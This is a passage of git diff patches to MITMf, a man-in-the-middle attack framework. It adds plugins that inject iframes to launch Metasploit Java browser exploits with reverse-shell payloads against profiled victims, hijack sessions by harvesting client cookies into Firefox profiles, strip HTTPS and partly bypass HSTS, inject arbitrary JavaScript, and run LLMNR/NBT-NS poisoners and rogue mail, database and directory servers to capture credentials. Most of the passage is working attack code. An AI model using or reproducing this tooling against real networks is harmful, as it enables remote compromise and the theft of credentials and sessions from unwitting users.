return False else: return True + return True + + def _should_inject(self, ip, hn, mime): + if self.count_limit == self.rate_limit is None and not self.per_domain: return True if self.count_limit is not None and self.count > self.count_limit: - #print "1" return False if self.rate_limit is not None: @@ -176,3 +153,17 @@ class Inject(CacheKill, Plugin): data = re.sub(r, post[i][1]+"\g", data) return data + + def add_options(self, options): + options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.") + options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") + options.add_argument("--html-payload", type=str, default="", help="String you would like to inject.") + options.add_argument("--html-file", type=argparse.FileType('r'), default=None, help="File containing code you would like to inject.") + options.add_argument("--match-str", type=str, default="", help="String you would like to match and place your payload before. ( by default)") + options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.") + group = options.add_mutually_exclusive_group(required=False) + group.add_argument("--per-domain", action="store_true", default=False, help="Inject once per domain per client.") + group.add_argument("--rate-limit", type=float, default=None, help="Inject once every RATE_LIMIT seconds per client.") + group.add_argument("--count-limit", type=int, default=None, help="Inject only COUNT_LIMIT times per client.") + group.add_argument("--white-ips", type=str, default=None, help="Inject content ONLY for these ips") + group.add_argument("--black-ips", type=str, default=None, help="DO NOT inject content for these ips") diff --git a/plugins/JavaPwn.py b/plugins/JavaPwn.py new file mode 100644 index 0000000..1a479ba --- /dev/null +++ b/plugins/JavaPwn.py @@ -0,0 +1,231 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import string +import random +import threading +import sys +import logging + +from time import sleep +from core.msfrpc import Msfrpc +from core.utils import SystemConfig +from plugins.plugin import Plugin +from plugins.BrowserProfiler import BrowserProfiler + +mitmf_logger = logging.getLogger("mitmf") + +class JavaPwn(BrowserProfiler, Plugin): + name = "JavaPwn" + optname = "javapwn" + desc = "Performs drive-by attacks on clients with out-of-date java browser plugins" + tree_output = [] + version = "0.3" + has_opts = False + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.msfip = SystemConfig.getIP(options.interface) + + try: + msfcfg = options.configfile['MITMf']['Metasploit'] + except Exception, e: + sys.exit("[-] Error parsing Metasploit options in config file : {}".format(e)) + + try: + self.javacfg = options.configfile['JavaPwn'] + except Exception, e: + sys.exit("[-] Error parsing config for JavaPwn: {}".format(e)) + + self.msfport = msfcfg['msfport'] + self.rpcip = msfcfg['rpcip'] + self.rpcpass = msfcfg['rpcpass'] + + #Initialize the BrowserProfiler plugin + BrowserProfiler.initialize(self, options) + self.black_ips = [] + + try: + self.msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary + self.msf.login('msf', self.rpcpass) + version = self.msf.call('core.version')['version'] + self.tree_output.append("Connected to Metasploit v{}".format(version)) + except Exception: + sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") + + def onConfigChange(self): + self.initialize(self.options) + + def startThread(self, options): + self.pwn() + + def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning) + return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5)) + + def get_exploit(self, java_version): + exploits = [] + + client_vstring = java_version[:-len(java_version.split('.')[3])-1] + client_uversion = int(java_version.split('.')[3]) + + for ver in self.javacfg['Multi'].iteritems(): + if type(ver[1]) is list: + for list_vers in ver[1]: + + version_string = list_vers[:-len(list_vers.split('.')[3])-1] + update_version = int(list_vers.split('.')[3]) + + if ('*' in version_string[:1]) and (client_vstring == version_string[1:]): + if client_uversion == update_version: + exploits.append(ver[0]) + elif (client_vstring == version_string): + if client_uversion <= update_version: + exploits.append(ver[0]) + else: + version_string = ver[1][:-len(ver[1].split('.')[3])-1] + update_version = int(ver[1].split('.')[3]) + + if ('*' in version_string[:1]) and (client_vstring == version_string[1:]): + if client_uversion == update_version: + exploits.append(ver[0]) + elif client_vstring == version_string: + if client_uversion <= update_version: + exploits.append(ver[0]) + + return exploits + + + def injectWait(self, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions + #inject iframe + mitmf_logger.info("{} >> now injecting iframe to trigger exploit".format(client_ip)) + self.html_payload = "".format(self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects + + mitmf_logger.info('{} >> waiting for ze shellz, Please wait...'.format(client_ip)) + + exit = False + i = 1 + while i <= 30: #wait max 60 seconds for a new shell + if exit: + break + shell = self.msf.call('session.list') #poll metasploit every 2 seconds for new sessions + if len(shell) > 0: + for k, v in shell.iteritems(): + if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted + mitmf_logger.info("{} >> Got shell!".format(client_ip)) + self.sploited_ips.append(client_ip) #target successfuly owned :) + self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped + exit = True + break + sleep(2) + i += 1 + + if exit is False: #We didn't get a shell :( + mitmf_logger.info("{} >> session not established after 30 seconds".format(client_ip)) + + self.html_payload = self.get_payload() # restart the BrowserProfiler plugin + + def send_command(self, cmd, vic_ip): + try: + mitmf_logger.info("{} >> sending commands to metasploit".format(vic_ip)) + + #Create a virtual console + console_id = self.msf.call('console.create')['id'] + + #write the cmd to the newly created console + self.msf.call('console.write', [console_id, cmd]) + + mitmf_logger.info("{} >> commands sent succesfully".format(vic_ip)) + except Exception, e: + mitmf_logger.info('{} >> Error accured while interacting with metasploit: {}:{}'.format(vic_ip, Exception, e)) + + def pwn(self): + self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit + while True: + if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled + + brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format + + if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited + + vic_ip = brwprofile['ip'] + + mitmf_logger.info("{} >> client has java version {} installed! Proceeding...".format(vic_ip, brwprofile['java_version'])) + mitmf_logger.info("{} >> Choosing exploit based on version string".format(vic_ip)) + + exploits = self.get_exploit(brwprofile['java_version']) # get correct exploit strings defined in javapwn.cfg + + if exploits: + + if len(exploits) > 1: + mitmf_logger.info("{} >> client is vulnerable to {} exploits!".format(vic_ip, len(exploits))) + exploit = random.choice(exploits) + mitmf_logger.info("{} >> choosing {}".format(vic_ip, exploit)) + else: + mitmf_logger.info("{} >> client is vulnerable to {}!".format(vic_ip, exploits[0])) + exploit = exploits[0] + + #here we check to see if we already set up the exploit to avoid creating new jobs for no reason + jobs = self.msf.call('job.list') #get running jobs + if len(jobs) > 0: + for k, v in jobs.iteritems(): + info = self.msf.call('job.info', [k]) + if exploit in info['name']: + mitmf_logger.info('{} >> {} already started'.format(vic_ip, exploit)) + url = info['uripath'] #get the url assigned to the exploit + self.injectWait(self.msf, url, vic_ip) + + else: #here we setup the exploit + rand_port = random.randint(1000, 65535) #generate a random port for the payload listener + rand_url = self.rand_url() + #generate the command string to send to the virtual console + #new line character very important as it simulates a user pressing enter + cmd = "use exploit/{}\n".format(exploit) + cmd += "set SRVPORT {}\n".format(self.msfport) + cmd += "set URIPATH {}\n".format(rand_url) + cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter and its multi-platform + cmd += "set LHOST {}\n".format(self.msfip) + cmd += "set LPORT {}\n".format(rand_port) + cmd += "exploit -j\n" + + mitmf_logger.debug("command string:\n{}".format(cmd)) + + self.send_command(cmd, vic_ip) + + self.injectWait(rand_url, vic_ip) + else: + #this might be removed in the future since newer versions of Java break the signed applet attack (unless you have a valid cert) + mitmf_logger.info("{} >> client is not vulnerable to any java exploit".format(vic_ip)) + mitmf_logger.info("{} >> falling back to the signed applet attack".format(vic_ip)) + + rand_url = self.rand_url() + rand_port = random.randint(1000, 65535) + + cmd = "use exploit/multi/browser/java_signed_applet\n" + cmd += "set SRVPORT {}\n".format(self.msfport) + cmd += "set URIPATH {}\n".format(rand_url) + cmd += "set PAYLOAD generic/shell_reverse_tcp\n" + cmd += "set LHOST {}\n".format(self.msfip) + cmd += "set LPORT {}\n".format(rand_port) + cmd += "exploit -j\n" + + self.send_command(cmd, vic_ip) + self.injectWait(rand_url, vic_ip) + sleep(1) diff --git a/plugins/JsKeylogger.py b/plugins/JsKeylogger.py index c84655b..06bf464 100644 --- a/plugins/JsKeylogger.py +++ b/plugins/JsKeylogger.py @@ -17,10 +17,12 @@ # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 # USA # +import logging from plugins.plugin import Plugin from plugins.Inject import Inject -import logging + +mitmf_logger = logging.getLogger("mitmf") class jskeylogger(Inject, Plugin): name = "Javascript Keylogger" diff --git a/plugins/Replace.py b/plugins/Replace.py new file mode 100644 index 0000000..3f124dc --- /dev/null +++ b/plugins/Replace.py @@ -0,0 +1,105 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +""" +Plugin by @rubenthijssen +""" + +import sys +import logging +import time +import re +from plugins.plugin import Plugin +from plugins.CacheKill import CacheKill + +mitmf_logger = logging.getLogger("mitmf") + +class Replace(CacheKill, Plugin): + name = "Replace" + optname = "replace" + desc = "Replace arbitrary content in HTML content" + implements = ["handleResponse", "handleHeader", "connectionMade"] + depends = ["CacheKill"] + version = "0.1" + has_opts = True + + def initialize(self, options): + self.options = options + + self.search_str = options.search_str + self.replace_str = options.replace_str + self.regex_file = options.regex_file + + if (self.search_str is None or self.search_str == "") and self.regex_file is None: + sys.exit("[-] Please provide a search string or a regex file") + + self.regexes = [] + if self.regex_file is not None: + for line in self.regex_file: + self.regexes.append(line.strip().split("\t")) + + if self.options.keep_cache: + self.implements.remove("handleHeader") + self.implements.remove("connectionMade") + + self.ctable = {} + self.dtable = {} + self.mime = "text/html" + + def handleResponse(self, request, data): + ip, hn, mime = self._get_req_info(request) + + if self._should_replace(ip, hn, mime): + + if self.search_str is not None and self.search_str != "": + data = data.replace(self.search_str, self.replace_str) + mitmf_logger.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str)) + + # Did the user provide us with a regex file? + for regex in self.regexes: + try: + data = re.sub(regex[0], regex[1], data) + + mitmf_logger.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1])) + except Exception: + logging.error("%s [%s] Your provided regex (%s) or replace value (%s) is empty or invalid. Please debug your provided regex(es)" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1])) + + self.ctable[ip] = time.time() + self.dtable[ip+hn] = True + + return {'request': request, 'data': data} + + return + + def add_options(self, options): + options.add_argument("--search-str", type=str, default=None, help="String you would like to replace --replace-str with. Default: '' (empty string)") + options.add_argument("--replace-str", type=str, default="", help="String you would like to replace.") + options.add_argument("--regex-file", type=file, help="Load file with regexes. File format: [tab][new-line]") + options.add_argument("--keep-cache", action="store_true", help="Don't kill the server/client caching.") + + def _should_replace(self, ip, hn, mime): + return mime.find(self.mime) != -1 + + def _get_req_info(self, request): + ip = request.client.getClientIP() + hn = request.client.getRequestHostname() + mime = request.client.headers['Content-Type'] + + return (ip, hn, mime) diff --git a/plugins/Responder.py b/plugins/Responder.py index bea6141..dbd7f69 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -19,18 +19,17 @@ # import threading +import sys from plugins.plugin import Plugin from twisted.internet import reactor from core.utils import SystemConfig from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner -from core.responder.wpad.WPADPoisoner import WPADPoisoner from core.responder.mdns.MDNSPoisoner import MDNSPoisoner from core.responder.nbtns.NBTNSPoisoner import NBTNSPoisoner from core.responder.fingerprinter.LANFingerprinter import LANFingerprinter from core.responder.wpad.WPADPoisoner import WPADPoisoner -from core.responder.kerberos.KERBServer import KERBServer class Responder(Plugin): name = "Responder" @@ -48,18 +47,47 @@ class Responder(Plugin): try: config = self.config['Responder'] + smbChal = self.config['MITMf']['SMB']['Challenge'] except Exception, e: sys.exit('[-] Error parsing config for Responder: ' + str(e)) LANFingerprinter().start(options) MDNSPoisoner().start(options, self.ourip) - KERBServer().start() NBTNSPoisoner().start(options, self.ourip) LLMNRPoisoner().start(options, self.ourip) if options.wpad: + from core.responder.wpad.WPADPoisoner import WPADPoisoner WPADPoisoner().start(options) + if self.config["Responder"]["MSSQL"].lower() == "on": + from core.responder.mssql.MSSQLServer import MSSQLServer + MSSQLServer().start(smbChal) + + if self.config["Responder"]["Kerberos"].lower() == "on": + from core.responder.kerberos.KERBServer import KERBServer + KERBServer().start() + + if self.config["Responder"]["FTP"].lower() == "on": + from core.responder.ftp.FTPServer import FTPServer + FTPServer().start() + + if self.config["Responder"]["POP"].lower() == "on": + from core.responder.pop3.POP3Server import POP3Server + POP3Server().start() + + if self.config["Responder"]["SMTP"].lower() == "on": + from core.responder.smtp.SMTPServer import SMTPServer + SMTPServer().start() + + if self.config["Responder"]["IMAP"].lower() == "on": + from core.responder.imap.IMAPServer import IMAPServer + IMAPServer().start() + + if self.config["Responder"]["LDAP"].lower() == "on": + from core.responder.ldap.LDAPServer import LDAPServer + LDAPServer().start(smbChal) + if options.analyze: self.tree_output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py new file mode 100644 index 0000000..3594c27 --- /dev/null +++ b/plugins/SSLstrip+.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import sys +import logging + +from plugins.plugin import Plugin +from core.utils import IpTables +from core.sslstrip.URLMonitor import URLMonitor +from core.dnschef.DNSchef import DNSChef + +class HSTSbypass(Plugin): + name = 'SSLstrip+' + optname = 'hsts' + desc = 'Enables SSLstrip+ for partial HSTS bypass' + version = "0.4" + tree_output = ["SSLstrip+ by Leonardo Nve running"] + has_opts = False + + def initialize(self, options): + self.options = options + self.manualiptables = options.manualiptables + + if not options.manualiptables: + if IpTables.getInstance().dns is False: + IpTables.getInstance().DNS(options.ip_address, self.config['MITMf']['DNS']['port']) + + URLMonitor.getInstance().setHstsBypass() + DNSChef.getInstance().setHstsBypass() + + def finish(self): + if not self.manualiptables: + if IpTables.getInstance().dns is True: + IpTables.getInstance().Flush() diff --git a/plugins/SessionHijacker.py b/plugins/SessionHijacker.py new file mode 100644 index 0000000..baf163a --- /dev/null +++ b/plugins/SessionHijacker.py @@ -0,0 +1,187 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +#Almost all of the Firefox related code was stolen from Firelamb https://github.com/sensepost/mana/tree/master/firelamb +import threading +import os +import sys +import time +import logging +import sqlite3 +import json +import socket + +from plugins.plugin import Plugin +from core.publicsuffix.publicsuffix import PublicSuffixList +from urlparse import urlparse + +mitmf_logger = logging.getLogger("mitmf") + +class SessionHijacker(Plugin): + name = "Session Hijacker" + optname = "hijack" + desc = "Performs session hijacking attacks against clients" + implements = ["cleanHeaders"] #["handleHeader"] + version = "0.1" + has_opts = True + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.psl = PublicSuffixList() + self.firefox = options.firefox + self.mallory = options.mallory + self.save_dir = "./logs" + self.seen_hosts = {} + self.sql_conns = {} + self.sessions = [] + self.html_header="

Cookies sniffed for the following domains\n
\n
" + + #Recent versions of Firefox use "PRAGMA journal_mode=WAL" which requires + #SQLite version 3.7.0 or later. You won't be able to read the database files + #with SQLite version 3.6.23.1 or earlier. You'll get the "file is encrypted + #or is not a database" message. + + sqlv = sqlite3.sqlite_version.split('.') + if (sqlv[0] <3 or sqlv[1] < 7): + sys.exit("[-] sqlite3 version 3.7 or greater required") + + if not os.path.exists("./logs"): + os.makedirs("./logs") + + if self.mallory: + t = threading.Thread(name='mallory_server', target=self.mallory_server, args=()) + t.setDaemon(True) + t.start() + + def cleanHeaders(self, request): # Client => Server + headers = request.getAllHeaders().copy() + client_ip = request.getClientIP() + + if 'cookie' in headers: + + if self.firefox: + url = "http://" + headers['host'] + request.getPathFromUri() + for cookie in headers['cookie'].split(';'): + eq = cookie.find("=") + cname = str(cookie)[0:eq].strip() + cvalue = str(cookie)[eq+1:].strip() + self.firefoxdb(headers['host'], cname, cvalue, url, client_ip) + + mitmf_logger.info("%s << Inserted cookie into firefox db" % client_ip) + + if self.mallory: + if len(self.sessions) > 0: + temp = [] + for session in self.sessions: + temp.append(session[0]) + if headers['host'] not in temp: + self.sessions.append((headers['host'], headers['cookie'])) + mitmf_logger.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie'])) + mitmf_logger.info("%s Sent cookie to browser extension" % client_ip) + else: + self.sessions.append((headers['host'], headers['cookie'])) + mitmf_logger.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie'])) + mitmf_logger.info("%s Sent cookie to browser extension" % client_ip) + + #def handleHeader(self, request, key, value): # Server => Client + # if 'set-cookie' in request.client.headers: + # cookie = request.client.headers['set-cookie'] + # #host = request.client.headers['host'] #wtf???? + # message = "%s Got server cookie: %s" % (request.client.getClientIP(), cookie) + # if self.urlMonitor.isClientLogging() is True: + # self.urlMonitor.writeClientLog(request.client, request.client.headers, message) + # else: + # mitmf_logger.info(message) + + def mallory_server(self): + host = '' + port = 20666 + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + server.bind((host,port)) + server.listen(1) + while True: + client, addr = server.accept() + if addr[0] != "127.0.0.1": + client.send("Hacked By China!") + client.close() + continue + request = client.recv(8192) + request = request.split('\n') + path = request[0].split()[1] + client.send("HTTP/1.0 200 OK\r\n") + client.send("Content-Type: text/html\r\n\r\n") + if path == "/": + client.send(json.dumps(self.sessions)) + client.close() + + def firefoxdb(self, host, cookie_name, cookie_value, url, ip): + + session_dir=self.save_dir + "/" + ip + cookie_file=session_dir +'/cookies.sqlite' + cookie_file_exists = os.path.exists(cookie_file) + + if (ip not in (self.sql_conns and os.listdir("./logs"))): + + try: + if not os.path.exists(session_dir): + os.makedirs(session_dir) + + db = sqlite3.connect(cookie_file, isolation_level=None) + self.sql_conns[ip] = db.cursor() + + if not cookie_file_exists: + self.sql_conns[ip].execute("CREATE TABLE moz_cookies (id INTEGER PRIMARY KEY, baseDomain TEXT, name TEXT, value TEXT, host TEXT, path TEXT, expiry INTEGER, lastAccessed INTEGER, creationTime INTEGER, isSecure INTEGER, isHttpOnly INTEGER, CONSTRAINT moz_uniqueid UNIQUE (name, host, path))") + self.sql_conns[ip].execute("CREATE INDEX moz_basedomain ON moz_cookies (baseDomain)") + except Exception, e: + print str(e) + + scheme = urlparse(url).scheme + scheme = (urlparse(url).scheme) + basedomain = self.psl.get_public_suffix(host) + address = urlparse(url).hostname + short_url = scheme + "://"+ address + + log = open(session_dir + '/visited.html','a') + if (ip not in self.seen_hosts): + self.seen_hosts[ip] = {} + log.write(self.html_header) + + if (address not in self.seen_hosts[ip]): + self.seen_hosts[ip][address] = 1 + log.write("\n
\n%s" %(short_url, address)) + + log.close() + + if address == basedomain: + address = "." + address + + expire_date = 2000000000 #Year2033 + now = int(time.time()) - 600 + self.sql_conns[ip].execute('INSERT OR IGNORE INTO moz_cookies (baseDomain, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly) VALUES (?,?,?,?,?,?,?,?,?,?)', (basedomain,cookie_name,cookie_value,address,'/',expire_date,now,now,0,0)) + + def add_options(self, options): + options.add_argument('--firefox', dest='firefox', action='store_true', default=False, help='Create a firefox profile with captured cookies') + options.add_argument('--mallory', dest='mallory', action='store_true', default=False, help='Send cookies to the Mallory cookie injector browser extension') + + def finish(self): + if self.firefox: + print "\n[*] To load a session run: 'firefox -profile logs//visited.html'" \ No newline at end of file diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 148e84c..228d54f 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -18,8 +18,6 @@ # USA # -import logging - from sys import exit from core.utils import SystemConfig, IpTables from core.protocols.arp.ARPpoisoner import ARPpoisoner diff --git a/plugins/Upsidedownternet.py b/plugins/Upsidedownternet.py index f14778e..3693df6 100644 --- a/plugins/Upsidedownternet.py +++ b/plugins/Upsidedownternet.py @@ -23,6 +23,8 @@ from cStringIO import StringIO from plugins.plugin import Plugin from PIL import Image +mitmf_logger = logging.getLogger("mitmf") + class Upsidedownternet(Plugin): name = "Upsidedownternet" optname = "upsidedownternet" From d3e509d4cd33c4ee0dfe26040506c8d5a71ceea4 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 6 May 2015 23:07:59 +0200 Subject: [PATCH 167/323] Added error handling to DNS and SMB servers when port is in use Added check to see if a plugins options were called without loading the actual plugin --- config/mitmf.conf | 5 +++++ core/dnschef/DNSchef.py | 12 ++++++++---- core/protocols/smb/SMBServer_Responder.py | 9 +-------- core/protocols/smb/SMBserver.py | 11 ++++++++--- core/responder/imap/IMAPServer.py | 2 +- core/responder/ldap/LDAPServer.py | 2 +- core/responder/mssql/MSSQLServer.py | 4 ++-- mitmf.py | 16 +++++++++++++++- plugins/Responder.py | 2 +- plugins/SSLstrip+.py | 5 +++-- 10 files changed, 45 insertions(+), 23 deletions(-) diff --git a/config/mitmf.conf b/config/mitmf.conf index c76f951..8387fbb 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -23,6 +23,11 @@ rpcpass = abc123 [[SMB]] + + # + #Here you can configure MITMf's internal SMB server + # + #Set a custom challenge Challenge = 1122334455667788 diff --git a/core/dnschef/DNSchef.py b/core/dnschef/DNSchef.py index 34ea779..e1473a2 100755 --- a/core/dnschef/DNSchef.py +++ b/core/dnschef/DNSchef.py @@ -474,10 +474,14 @@ class DNSChef(ConfigWatcher): self.onConfigChange() self.startConfigWatch() - if self.config['MITMf']['DNS']['tcp'].lower() == 'on': - self.startTCP() - else: - self.startUDP() + try: + if self.config['MITMf']['DNS']['tcp'].lower() == 'on': + self.startTCP() + else: + self.startUDP() + except socket.error as e: + if "Address already in use" in e: + sys.exit("\n[-] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port'])) # Initialize and start the DNS Server def startUDP(self): diff --git a/core/protocols/smb/SMBServer_Responder.py b/core/protocols/smb/SMBServer_Responder.py index 1b25456..b94b9ad 100644 --- a/core/protocols/smb/SMBServer_Responder.py +++ b/core/protocols/smb/SMBServer_Responder.py @@ -1,6 +1,3 @@ -################################################################################## -#SMB stuff starts here -################################################################################## class ThreadingTCPServer(ThreadingMixIn, TCPServer): @@ -333,8 +330,4 @@ class SMB1LM(BaseRequestHandler): except Exception: self.request.close() - pass - -################################################################################## -#SMB Server stuff ends here -################################################################################## \ No newline at end of file + pass \ No newline at end of file diff --git a/core/protocols/smb/SMBserver.py b/core/protocols/smb/SMBserver.py index ded9958..2081804 100644 --- a/core/protocols/smb/SMBserver.py +++ b/core/protocols/smb/SMBserver.py @@ -1,6 +1,7 @@ import logging import sys import threading +from socket import error as socketerror from impacket import version, smbserver, LOG from core.configwatcher import ConfigWatcher @@ -22,9 +23,13 @@ class SMBserver(ConfigWatcher): impacket_ver = version.VER_MINOR def __init__(self, listenAddress = '0.0.0.0', listenPort=445, configFile=''): - - self.server = smbserver.SimpleSMBServer(listenAddress, listenPort, configFile) - self.server.setSMBChallenge(self.config["MITMf"]["SMB"]["Challenge"]) + + try: + self.server = smbserver.SimpleSMBServer(listenAddress, listenPort, configFile) + self.server.setSMBChallenge(self.config["MITMf"]["SMB"]["Challenge"]) + except socketerror as e: + if "Address already in use" in e: + sys.exit("\n[-] Unable to start SMB server on port 445: port already in use") def start(self): t = threading.Thread(name='SMBserver', target=self.server.start) diff --git a/core/responder/imap/IMAPServer.py b/core/responder/imap/IMAPServer.py index 67e6a55..6466b28 100644 --- a/core/responder/imap/IMAPServer.py +++ b/core/responder/imap/IMAPServer.py @@ -16,7 +16,7 @@ class IMAPServer(): t = threading.Thread(name="IMAPServer", target=server.serve_forever) t.setDaemon(True) t.start() - except Exception, e: + except Exception as e: mitmf_logger.error("[IMAPServer] Error starting on port {}: {}".format(143, e)) class ThreadingTCPServer(ThreadingMixIn, TCPServer): diff --git a/core/responder/ldap/LDAPServer.py b/core/responder/ldap/LDAPServer.py index 4629f71..5d5c91a 100644 --- a/core/responder/ldap/LDAPServer.py +++ b/core/responder/ldap/LDAPServer.py @@ -20,7 +20,7 @@ class LDAPServer(): t = threading.Thread(name="LDAPServer", target=server.serve_forever) t.setDaemon(True) t.start() - except Exception, e: + except Exception as e: mitmf_logger.error("[LDAPServer] Error starting on port {}: {}".format(389, e)) class ThreadingTCPServer(ThreadingMixIn, TCPServer): diff --git a/core/responder/mssql/MSSQLServer.py b/core/responder/mssql/MSSQLServer.py index 71d38a5..806df10 100644 --- a/core/responder/mssql/MSSQLServer.py +++ b/core/responder/mssql/MSSQLServer.py @@ -12,14 +12,14 @@ class MSSQLServer(): def start(self, chal): global Challenge; Challenge = chal - + try: mitmf_logger.debug("[MSSQLServer] online") server = ThreadingTCPServer(("0.0.0.0", 1433), MSSQL) t = threading.Thread(name="MSSQLServer", target=server.serve_forever) t.setDaemon(True) t.start() - except Exception, e: + except Exception as e: mitmf_logger.error("[MSSQLServer] Error starting on port {}: {}".format(1433, e)) class ThreadingTCPServer(ThreadingMixIn, TCPServer): diff --git a/mitmf.py b/mitmf.py index 5263505..df3ed01 100755 --- a/mitmf.py +++ b/mitmf.py @@ -69,6 +69,9 @@ try: except Exception as e: print "[-] Failed to load plugin class {}: {}".format(p, e) + +arg_dict = dict() #dict containing a plugin's optname with it's relative options + #Give subgroup to each plugin with options try: for p in plugins: @@ -81,6 +84,9 @@ try: if p.has_opts: p.add_options(sgroup) + + arg_dict[p.optname] = vars(sgroup)['_group_actions'] + except NotImplementedError: sys.exit("[-] {} plugin claimed option support, but didn't have it.".format(p.name)) @@ -90,11 +96,19 @@ if len(sys.argv) is 1: args = parser.parse_args() +# Definitely a better way to do this, will need to clean this up in the future +# Checks to see if we called a plugin's options without first invoking the actual plugin +for plugin, options in arg_dict.iteritems(): + if vars(args)[plugin] is False: + for option in options: + if vars(args)[option.dest] is True: + sys.exit("[-] Called plugin options without invoking --{}".format(plugin)) + #first check to see if we supplied a valid interface myip = SystemConfig.getIP(args.interface) mymac = SystemConfig.getMAC(args.interface) -#Start logging +#Start logging log_level = logging.__dict__[args.log_level.upper()] logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") diff --git a/plugins/Responder.py b/plugins/Responder.py index dbd7f69..620e2b6 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -48,7 +48,7 @@ class Responder(Plugin): try: config = self.config['Responder'] smbChal = self.config['MITMf']['SMB']['Challenge'] - except Exception, e: + except Exception as e: sys.exit('[-] Error parsing config for Responder: ' + str(e)) LANFingerprinter().start(options) diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py index 3594c27..887a6f0 100644 --- a/plugins/SSLstrip+.py +++ b/plugins/SSLstrip+.py @@ -22,7 +22,7 @@ import sys import logging from plugins.plugin import Plugin -from core.utils import IpTables +from core.utils import IpTables, SystemConfig from core.sslstrip.URLMonitor import URLMonitor from core.dnschef.DNSchef import DNSChef @@ -37,10 +37,11 @@ class HSTSbypass(Plugin): def initialize(self, options): self.options = options self.manualiptables = options.manualiptables + ip_address = SystemConfig.getIP(options.interface) if not options.manualiptables: if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(options.ip_address, self.config['MITMf']['DNS']['port']) + IpTables.getInstance().DNS(ip_address, self.config['MITMf']['DNS']['port']) URLMonitor.getInstance().setHstsBypass() DNSChef.getInstance().setHstsBypass() From 